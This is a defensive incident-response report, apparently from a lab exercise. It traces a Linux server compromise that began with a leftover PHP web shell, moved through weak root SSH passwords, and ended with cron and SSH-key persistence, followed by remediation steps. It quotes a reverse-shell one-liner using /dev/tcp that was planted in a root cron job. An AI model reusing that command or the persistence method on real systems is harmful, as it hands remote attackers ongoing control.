Victim Report

Initial Access

Initial access was gained on September 20th using a vulnerable website hosted on Apache2. The hosted directory, /var/www/html contained the file “test.php,” with code that allowed command execution from the browser search bar. Judging by the name, and date of creation (September 18th), this was leftover from server testing that the administrator forgot to delete. This allowed for directory enumeration, and some system-reconfiguration by the attacker.

Privilege Escalation

After gaining initial access via apache2, the attacker set up an nc connection on the victim's machine. With this, they probably executed some commands. After setting the connection up they had access to the /etc/passwd file. From here, they could figure out that the primary user on the system was tm.

To get more information on the system ssh server, the attacker accessed files in the /root/.ssh directory and viewed several files. With the /etc/ssh/sshd_config PermitRootLogin set to yes, the attacker made several attempts to log in via SSH as root. For a while after that, the attacker tested ssh passwords for root.

It probably didn’t take long to realize that the username and password for “tm” were the same, and from there the attacker probably guessed it was the same password to su as root, then gain root SSH access. The attacker might have also chosen to attack the memory vulnerability in the version of pkexec on the victim system.

Footholds

The primary foothold in the system is a malicious cron job. After gaining root access, the attacker places the bash script, `bash -I >& /dev/tcp/10.0.3.151/9999 0>&1`. This is a reverse shell that can send stdout of the shell to the attacker, and receive and execute commands sent by the attacker. Since it is a reverse backdoor, it should be harder for security to detect. This job runs hourly. According to auth logs, the attacker also set up public key authentication to the victim for persistent access.

Timeline of Events

1. The attacker at IP address 10.0.3.151 identifies the apache2 server running on the victim system and makes the first request at 11:51 a.m. September 20th
2. The attacker interacts with the webpage briefly and then uses the test.php file to start executing commands at 11:52 a.m. The attacker sets up a Netcat server to execute commands more conveniently. In several other instances, they repeat variations of the initial nc command.

   a. How did the attacker know test.php would allow for running commands? Guessing seems like a stretch, and the Apache directory listing doesn’t seem to be enabled.
   b. Logs did not show requests that might be associated with some sort of directory-finding attack. It's almost as if the attacker knew the system…
3. Using the webshell, the attacker begins looking at /root/.ssh files, and begins making ssh login attempts as root at 11:54 am
4. At some point the attacker probably figures out that tm’s password is tm. From there they also figure out that the root password is also tm. The first root login over SSH is recorded at 12:13 pm
   a. Alternatively the attacker could have used known memory vulnerabilities in pkexec. Since the attacker had access to TM's home folder by this point, they also would have had access to the Linpeas report, making it an easy vulnerability to identify
   b. The same goes for all 3 other vulnerabilities Linpeas detected.
5. The attacker configures public key authentication with the victim. The first login via public key is recorded at 12:17 pm
6. At 12:27 p.m., the attacker sets up the malicious cron job to provide a reverse backdoor via netcat in /var/spool/cron/crontabs/root to run every hour. Full root access

REMEDIATION

1. Get rid of the malicious cron job
2. Disable root access via SSH
3. Get rid of the ‘test.php’ web shell
4. Enforce a better password policy, no more matching of usernames and passwords, and much stronger root password
5. Reduce the number of SUID binaries on the system, get rid of pkexec, or update it to a new version
6. Keep the system updated
7. Require SSH be done via keys to prevent password-guessing.